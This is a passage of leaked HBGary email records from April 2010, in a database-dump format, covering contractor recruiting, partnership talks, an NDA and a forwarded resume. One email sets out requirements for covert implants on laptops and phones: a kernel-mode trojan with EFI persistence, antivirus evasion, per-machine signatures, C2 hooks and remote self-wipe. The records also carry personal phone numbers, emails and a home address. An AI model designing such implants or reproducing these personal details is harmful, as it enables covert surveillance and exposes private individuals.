your\r\nmessage settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13567,'aaron_hbgary_com/13567.html'),(5675,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004109.M934268P14101Q530.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Update','Not relating to the lab, but in regards to the engagement this week. &nbsp;I think its a good model and changes/improves on how IR is currently done. &nbsp;Instead of being periodic, integrate it into the daily operations of network security. &nbsp;All of the deployed active defense servers could feed information back to a large TMC that gets smarter by the data it collects and can more effectively push out intelligence to the Active Defense servers to change what they are looking for, alerting on, etc.There is a tentative call with Livermore Labs this afternoon to discuss the engagement.AaronOn Apr 26, 2010, at 9:47 AM, Penny Leavy-Hoglund wrote:Good, I’d like to see us work with Agilex if we can.&nbsp; I want to make them successful.&nbsp; Given that the lab is really uptight about malware, we could put a box there and leave it for periodic checks.&nbsp; Did you and Greg talk about this?&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 26, 2010 6:44 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Update&nbsp;Yes I did. &nbsp;That is great. &nbsp;I will definitely be talking with him today or tomorrow.&nbsp;On Apr 26, 2010, at 9:40 AM, Penny Leavy-Hoglund wrote:Did you see reply from Shane Shook?&nbsp; He does web app testing, thought he might be good for Agilex thing&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 26, 2010 6:07 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Update&nbsp;yes. &nbsp;between our folks, Clearhat and Dino we have a pretty nice shop to develop \"things\".&nbsp;Sure anytime today. &nbsp;I am working on my Aurora briefing for tomorrow and the NSA presentation stuff so just parked my butt on the couch.&nbsp;Aaron&nbsp;&nbsp;On Apr 26, 2010, at 9:04 AM, Penny Leavy-Hoglund wrote:Good things come to those who askJ&nbsp; Sorry I missed you.&nbsp; Let’s catch up today&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 25, 2010 5:18 AMTo:&nbsp;Greg Hoglund; Penny LeavySubject:&nbsp;Fwd: Update&nbsp;FYIFrom my iPhoneBegin forwarded message:From:&nbsp;Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;Date:&nbsp;April 25, 2010 2:33:20 AM EDTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject:&nbsp;Re: UpdateHi Aaron,Hah, nice one. &nbsp;I would be quite interested in the unclass exploit development work. &nbsp;How about we chat on the phone about this next week?Cheers,-DinoOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:Hey Dino,&nbsp;Not trying to be pushy but talented folks are hard to come by. &nbsp;I asked Chris if he would have any issues if we used your services and he said he would have no issues. &nbsp;He said something about if we could get something worthwhile out of you we were welcome to it.&nbsp;Joke.&nbsp;I am sure you have plenty of work, but just to keep in mind. &nbsp;We have both classified and unclassified work. &nbsp;Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes. &nbsp;We also have some exploit development work, some of it unclass, that I could really use some high talent on.&nbsp;Take care,&nbsp;Aaron&nbsp;&nbsp;&nbsp;&nbsp;On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:&nbsp;Hello Aaron,&nbsp;I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired). &nbsp;I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).&nbsp;On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames. &nbsp;I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.&nbsp;Cheers,&nbsp;-Dino&nbsp;&nbsp;On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:&nbsp;Ok. &nbsp;Great.&nbsp;We have some ongoing work to build CNE capabilities. &nbsp;The contract we have had for a while, although we do a variety of different things within it. &nbsp;We have used some consultants in the past to help with surges in this work. &nbsp;If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.&nbsp;Do you hold a clearance at all?&nbsp;Are you familiar with DARPA\'s cyber genome project? &nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis. &nbsp;That is all development work and unclassified. &nbsp;If that work interests you we could probably use your help there too.&nbsp;Do you do or have you done Incident Response work? &nbsp;We get short term gigs like this all the time. &nbsp;I am not completely up on your full background so not sure if this is an area of expertise or interest. &nbsp;HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.&nbsp;Probably others too but this is a good start off the top of my head.&nbsp;What types of things are you most interested in working on?&nbsp;Aaron&nbsp;On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:&nbsp;Hi Aaron,&nbsp;Yes, this is my first week post-EGS. &nbsp;I am planning on staying independent for a while and trying that out for a bit. &nbsp;I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects. &nbsp;I would be interested in hearing about what type of work you would have open to subcontracting.&nbsp;Cheers,&nbsp;-Dino&nbsp;On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:&nbsp;&nbsp;&nbsp;---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Tue, Apr 13, 2010 at 10:43 AMSubject: UpdateTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;&nbsp;&nbsp;LinkedInAaron Barr has sent you a message.Date: 4/13/2010Subject: UpdateHi Dino,&nbsp;It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?&nbsp;AaronView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.&nbsp;© 2010, LinkedIn Corporation&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8533,'aaron_hbgary_com/8533.html'),(5676,'2010-04-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004110.M169289P14101Q531.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Managed Services Support','Penny,\r\n\r\nHBGary\'s unique tech approach is what is winning us the services contract at\r\nQinetiQ.  (Expect contract today or tomorrow.)  As compared to Mandiant and\r\nother consultants HBGary offers a unique value proposition.  Most\r\nconsultants offer to analyze 5-10 computers an engagement.  HBGary can\r\nautomatically analyze all of them.  Mandiant can touch all computers, but\r\nthey can only scan the hard drive looking for known malware.  HBGary can\r\nscan the hard drive and RAM looking for both known and unknown malware.\r\nMatt Anglin at Q totally understands it and he was able to convince the\r\nC-level.\r\n\r\nBob \r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Monday, April 26, 2010 9:46 AM\r\nTo: \'Aaron Barr\'; \'Bob Slapnik\'\r\nSubject: FW: Managed Services Support\r\n\r\nFYI, I will be meeting with them on May 5th and having dinner that evening\r\nwith them.  They have a secure SOC in San Antonio, TX.  They provide high\r\nend services and would be looking to add our component.  For customers that\r\nwant our product but don\'t know how to use it or have their network managed,\r\nthis will be a good option.  Nadia Short runs all of AIS and reports\r\ndirectly to CEO of GD\r\n\r\n-----Original Message-----\r\nFrom: Jaeger, James A. [mailto:jim.jaeger@gd-ais.com] \r\nSent: Wednesday, April 21, 2010 11:18 AM\r\nTo: Penny Leavy; Brennan, Teresa H.; Castrejon, Tomas M.\r\nSubject: RE: Managed Services Support\r\n\r\nPenny,\r\n\r\nI apologize for the delayed response.....the past week has been intense.\r\n\r\nWe definitely want to talk to you about providing managed security services\r\nsupport for your products and customers.\r\n\r\nWould you potentially be available to meet in the Santa Clara area on the\r\nafternoon or evening of March 5th, as Nadia Short and I will be there for\r\nthe Bay Area Outlook Conference?\r\n\r\nJim\r\n\r\n\r\nJim Jaeger\r\nDirector\r\nDefense & Commercial Cyber Solutions\r\nPh: 240-294-2221\r\nCell: 443-926-1159\r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com] \r\nSent: Tuesday, April 13, 2010 10:11 AM\r\nTo: Jaeger, James A.\r\nCc: Stern, Matthew A.\r\nSubject: Re: Managed Services Support\r\n\r\nGreat, can we perhaps discuss this.  We went on an engagement at Baker\r\nHughes and we have a couple of banks that I think want this\r\ncapability.  It would be great if we could have someone on site and\r\nwork with you guys as well.  This would really allow us to open our\r\nmarket it and get some additional customers who want this but don\'t\r\nhave people in place.  I think we could get some gov\'t customers as\r\nwell.\r\n\r\nOn Mon, Apr 12, 2010 at 9:52 PM, Jaeger, James A. \r\nwrote:\r\n> Penny,\r\n>\r\n>\r\n>\r\n> This could be a good opportunity to work together.  We have a SOC in San\r\n> Antonio that we use in support of our large commercial breach\r\n> investigations.  We are very willing to do SOC managed services,\r\n> particularly in a high end specialized services environment.  We just\r\ndon\'t\r\n> want to do the low end, commodity MSS work.\r\n>\r\n>\r\n>\r\n> Regarding Mandiant; Nadia took the issue to Jerry DeMuro, the corporate\r\nEVP\r\n> for IS&T (our IT companies).  Jerry fully agrees with our concerns and\r\nwill\r\n> stop the purchase unless it is too far down the path (i.e.; unless we\'ve\r\n> signed the contract).\r\n>\r\n>\r\n>\r\n> Jim\r\n>\r\n>\r\n>\r\n> Jim Jaeger\r\n> Director\r\n> Cyber Defense & Forensics\r\n> Ph: 240-294-2221\r\n> Cell: 443-926-1159\r\n>\r\n> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Monday, April 12, 2010 8:42 PM\r\n> To: Jaeger, James A.; Stern, Matthew A.\r\n> Subject: Do You Have\r\n>\r\n>\r\n>\r\n> How does GD feel about managed services?  HBGary wants to offer DDNA as a\r\n> service but we don\'t have a SOC.  We \"could\" do it like others, but I\r\nthink\r\n> it would play better with a secure SOC.  We could partner on this and I\r\n> think we could get some customers out of the gate.  Thoughts on this?\r\n>\r\n>\r\n>\r\n> Penny C. Leavy\r\n>\r\n> President\r\n>\r\n> HBGary, Inc\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> NOTICE - Any tax information or written tax advice contained herein\r\n> (including attachments) is not intended to be and cannot be used by any\r\n> taxpayer for the purpose of avoiding tax penalties that may be imposed\r\n> on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\n> Treasury regulations governing tax practice.)\r\n>\r\n>\r\n>\r\n> This message and any attached files may contain information that is\r\n> confidential and/or subject of legal privilege intended only for use by\r\nthe\r\n> intended recipient. If you are not the intended recipient or the person\r\n> responsible for   delivering the message to the intended recipient, be\r\n> advised that you have received this message in error and that any\r\n> dissemination, copying or use of this message or attachment is strictly\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2836 - Release Date: 04/26/10\r\n02:31:00\r\n\r\n',4121,'aaron_hbgary_com/4121.html'),(5677,'2010-04-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004110.M471751P14101Q532.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>','Planning to travel for QQ',' \r\nPhil,\r\n \r\nLet me know ASAP if the deal is inked and what days You, Shawn and myself will be setting up the forward operating base.  I am going to attempt being there on Friday so I can assist Aaron at NSA.\r\n \r\n-Greg\r\n',11353,'aaron_hbgary_com/11353.html'),(5678,'2010-04-26','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297004110.M683801P14101Q533.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Planning to travel for QQ','Yup.  I&#39;m hitting his on multiple angles right now.  Bob is calling our contact and I&#39;m preparing our bios to be sent in the next 10 min.On Mon, Apr 26, 2010 at 10:17 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nPhil,\r\n \r\nLet me know ASAP if the deal is inked and what days You, Shawn and myself will be setting up the forward operating base.  I am going to attempt being there on Friday so I can assist Aaron at NSA.\r\n \r\n-Greg\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6271,'aaron_hbgary_com/6271.html'),(5679,'2010-04-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004111.M519263P14101Q534.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: CTSC Non Disclosure Agreement','PDF attached.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn 4/26/10 7:29 AM, Aaron Barr wrote:\r\n> Can u fill this out and convert it to PDF for my signature. For some reason I \r\n> can\'t open this one.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> Begin forwarded message:\r\n> \r\n>> *From: *Edna Robinson >\r\n>> *Date: *April 20, 2010 3:13:10 PM EDT\r\n>> *To: *aaron@hbgary.com \r\n>> *Cc: *Paul Rooney >, Phillip S Peak \r\n>> >\r\n>> *Subject: **CTSC Non Disclosure Agreement*\r\n>>\r\n>>\r\n>> Good Afternoon Mr. Aron,\r\n>>\r\n>> Please sign an return the attached Non Disclosure agreement at your earliest \r\n>> convenience so that it may be Fully Executed prior to your meeting\r\n>> with Paul Rooney.\r\n>>\r\n>>\r\n>>\r\n>> Thanks\r\n>>\r\n>> Edna Robinson\r\n>> AXISS Subcontracts Administrator\r\n>> CSC\r\n>>\r\n>> 7231 Parkway Drive.,Hanover, MD. 21076\r\n>> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 \r\n>> |erobinson6@csc.com _\r\n>> __www.csc.com_Edna Robinson\r\n>> AXISS Subcontracts Administrator\r\n>> CSC\r\n>>\r\n>> 7231 Parkway Drive.,Hanover, MD. 21076\r\n>> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 \r\n>> |erobinson6@csc.com \r\n>> www.csc.com\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> This is a PRIVATE message. If you are not the intended recipient, please \r\n>> delete without copying and kindly advise us by e-mail of the mistake in delivery.\r\n>> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any \r\n>> order or other contract unless pursuant to explicit written agreement or \r\n>> government initiative expressly permitting the use of e-mail for such purpose.\r\n> \r\n> \r\n> \r\n> \r\n\r\n',5501,'aaron_hbgary_com/5501.html'),(5680,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004112.M464385P14101Q535.eml','\"Edna Robinson\" <erobinson6@csc.com>','Re: CTSC Non Disclosure Agreement','Here you go.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Apr 21, 2010, at 10:10 AM, Edna Robinson wrote:\r\n\r\n> \r\n> Good Morning Aaron, \r\n> \r\n> Let me know if you can open this one. \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	04/21/2010 09:28 AM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> Hi Edna, \r\n> \r\n> Could you resend this document.  I am getting a corruption error.  It might be on my end, I am on a Mac. \r\n> \r\n> Thank you, \r\n> Aaron \r\n> \r\n> On Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Afternoon Mr. Aron, \r\n> \r\n> Please sign an return the attached Non Disclosure agreement at your earliest convenience so that it may be Fully Executed prior to your meeting \r\n> with Paul Rooney. \r\n> \r\n> \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.comEdna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9851,'aaron_hbgary_com/9851.html'),(5681,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004112.M706996P14101Q536.eml','\"Ted Vera\" <ted@hbgary.com>','Notes from GD','3 Distinct Opportunities (3 separate customers)\r\n\r\nTask M (Laptops)\r\nRemote agents to the next level on laptops.  Latitude on type of OS.  Ideally works on mac, linux, windows, but if we got cool shit but only on windows.  Not interested in how it gets there.  The thrust there is the agent.  So focus on the ability to install the agent with user privileges only.  That is value added.  The requirement is an installer.  Heavy emphasis is on persistence (EFI).  Could be in the video card, etc.  Agent needs to be able to covertly run, not be detected.  Needs to have a different signature on every box. (Kernal mode trojan)\r\n1.  Persistance.\r\n2.  Different signatures per box/no attribution (vary obfuscation on compile/install)\r\n3.  No observables to the user/anti-virus when running or on disk\r\n4.  No concept of C2, but does need to access the stack.  Take our code and add a C2 module later on.  Need to be able to have hooks for C2.  We get to specify how to talk to it.  Just provide access to the stack.\r\n5.  Be able to inherently add functionality without recompiling.  Extensible.  Kernel plugins.\r\n6.  Visual queue to show its there.  Pop up Calc.\r\n7.  Needs to be able to wipe itself.  Stealth delete.  On command kill.  Through an IP packet.  Make it as a plugin so it can be easily changed.\r\n\r\n*Built in command like add plugin and delete plugin.\r\n*Using the installing printers functionality to gain access to the kernel.\r\n\r\nTask I\r\nMobile Devices.  Iphone, Droid. Windows Mobile, Symbian, RIM.\r\nCovert to the user.  Similar to task M.\r\nA covert wrapper.\r\nPersistence.\r\nAdd our own functionality for POC.\r\nHave phone, go to iraq, give your phone to someone, that someone might slick the phone, how do you remain persistent.\r\n\r\nTask P\r\nHow do you deal with commas.  Bittorrent, bittorrent, facebook, twitter, \r\nC2 systems on laptops and mobile devices.\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9246,'aaron_hbgary_com/9246.html'),(5682,'2010-04-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004112.M924182P14101Q537.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#5jvcwj7e7jkvvbcw','Begin forwarded message:From: &lt;jbrownlaw@yahoo.com&gt;\r\nDate: April 26, 2010 9:23:26 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #5jvcwj7e7jkvvbcw\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJeremy Brown \r\n6409 Hickory lane\r\nSykesville, MD  21784\r\nUS\r\njbrownlaw@yahoo.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 410-598-7094  \r\nHome: 410-598-7094Contact Preference: Telephone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\n5jvcwj7e7jkvvbcw   Resume Headline: Jeremy Brown  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nEXPERIENCE:\r\n3/2008 - Present\r\nDLA Piper\r\nMt. Washington, Maryland\r\n\r\n\r\n\r\n\r\n											Industry: Legal Services\r\n\r\n\r\n\r\nRecords Specialist/Clerk\r\n\r\n\r\n\r\n\r\n\r\n\r\nPrimary duties consists of data entry and file organization: Assist attorneys, secretaries, and paralegals with records procedures for filing current records and creating new client matters in File Surf database; data enter new and old files into File Surf; edit grammatical errors of legal files in File Surf database; &quot;quality check&quot; boxes before off site delivery; retrieve records from storage; aid and train end-users in navigating File Surf; assit as a project assistant to paralegals and secretaries when applicable. I have become very organized and clerical through working at this prestigious law firm. The work load is hefty but manageable, which has taught me time management skills. Lastly, I have gained strong communication skills that is essential at the professional level.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n8/2005 - 1/2006\r\nAmerican Security Council Foundation\r\nWashington, District of Columbia\r\n\r\n\r\n\r\n\r\n											Industry: Government and Military\r\n\r\n\r\n\r\nResearch Assistant\r\n\r\n\r\n\r\n\r\n\r\n\r\nPrimary duty consisted of research assistance: independently researched various military issues within the Middle East; received hands-on training in research methodology and formal report writing; attended military executive meetings to discuss military strategies for the Middle East; conducted political opinion surveys; submitted weekly briefings on relative research findings to the senior research analyst; assisted in translating Arabic documents through a web translator application; wrote a 25 page research term paper on intelligence communities and think tanks aiding in executive policies from the NSC. This experience gave me direct insight into the intelligence community. I learned research skills from senior intelligence analysts. These mentors helped fine tune and hone my analytical and research mskills. I have since been strongly interested in pursuing a career related to intelligence analysis.\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nEDUCATION:\r\n9/2005 - 1/2008\r\nS.U.N.Y Stony Brook\r\nUS-New York-Stony Brook\r\n\r\n\r\n\r\nBachelor&#39;s Degree\r\n\r\n\r\n\r\nMemeber of the Golden Key International Honours Society; Cumulative GPA 3.47; American Security Council Foundation Internship on Capitol Hill; Stony Brook Seawolves Ice Hockey Club. Club Ice Hockey team Treasurer for Student Club Athletic Government.\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nSKILLS:\r\nSkill Name\r\nSkill Level\r\n\r\n\r\n\r\nResearch Assistance \r\nBeginner\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nHONORS &amp; AWARDS:\r\nGolden Key International Honor Society for graduation with a 3.33 G.P.A. or better. Innovations Employee of the Month. Washington D.C. Fall Semester Internship at American Security Council Foundation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nINTERESTS &amp; HOBBIES:\r\nWriting\r\n\r\n\r\n\r\nWatching TV/Listening to Radio\r\n\r\n\r\n\r\nPolitics\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nREFERENCES:\r\nReference Name:\r\nSteven R. Foster\r\n\r\n\r\n\r\nReference Company:\r\nDLA Piper\r\n\r\n\r\n\r\nReference Title:\r\nRecorders Manager\r\n\r\n\r\n\r\nPhone:\r\n410-580-3005\r\n\r\n\r\n\r\nType:\r\nProfessional\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n32,000.00 USD Per Year\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nEntry Level\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n1+ to 